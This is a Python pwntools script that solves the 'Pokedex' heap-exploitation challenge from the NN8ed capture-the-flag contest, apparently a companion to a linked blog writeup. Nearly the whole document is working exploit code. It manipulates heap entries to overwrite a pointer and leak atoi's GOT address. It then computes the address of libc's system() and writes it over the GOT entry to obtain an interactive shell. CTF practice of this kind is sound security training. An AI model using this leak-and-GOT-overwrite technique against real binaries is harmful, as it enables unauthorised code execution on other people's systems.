Solution for the Pokedex challenge NN8ed CTF

pokedex_nn8ed.py

# coding=utf-8
# Writeup: https://elladodelnovato.blogspot.com/2018/10/ctf-nn8ed-navaja-negra-pokedex.html

from pwn import *

env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc-2.27.so")}

s = process("./pokedex_nn2k18", env=env)
#s = remote('challenges.ka0labs.org', 1341)

# to leak
ATOIPLT = 0x404058

ATOI_SYSTEM_OFFSET = 0x000435d0 - 0x00037160
ATOI = 0x0

s.recvuntil("option>", drop=False)


def recv(s):
    try:
        print(s.recv())
    except EOFError:
        print('EOF received')


def create(num, name):
    s.send("1\x0D")
    recv(s)
    s.send(num + "\x0D")
    recv(s)
    s.send(name+"")
    recv(s)
    s.send("0\x0D")
    recv(s)
    s.send("0\x0D")
    recv(s)
    s.send("0\x0D")
    recv(s)

def edit(num, name, last_read=True):
    s.send("2"+"\x0D")
    recv(s)
    s.send(num+"\x0D")
    recv(s)
    s.send(name+"")
    recv(s)
    s.send("0\x0D")
    recv(s)
    s.send("0\x0D")
    recv(s)
    s.send("0\x0D")
    if last_read:
        recv(s)

def delete(num):
    s.send("3\x0D")
    recv(s)
    s.send(num+"\x0D")
    recv(s)

def view(num):
    s.send("4\x0D")
    recv(s)
    s.send(num)
    #recv(s)

create("0", "A"*23)
create("1", "A"*23)
create("2", "A"*23)
create("3", "A"*23)

delete("2")
delete("1")

create("4", "A"*100)
create("5", "A"*23)

edit("5", "A"*0x10 + p64(ATOIPLT))

view("2")

s.recvuntil("ID: 2\n", drop=False)

addr = s.recv()
print "GOT:", addr[6:6+6]
if addr[6:6+6].find("AA") >= 0:
    print "failed :("
    exit(0)

ATOI = int('0x'+ addr[6:6+6][::-1].encode('hex'), 16)
print "Leaked ATOI: ", hex(ATOI)
SYSTEM = ATOI + ATOI_SYSTEM_OFFSET

print "SYSTEM:", hex(SYSTEM), p64(SYSTEM)
p = p64(SYSTEM)
edit("2", p, last_read=False)

s.interactive()
s.close()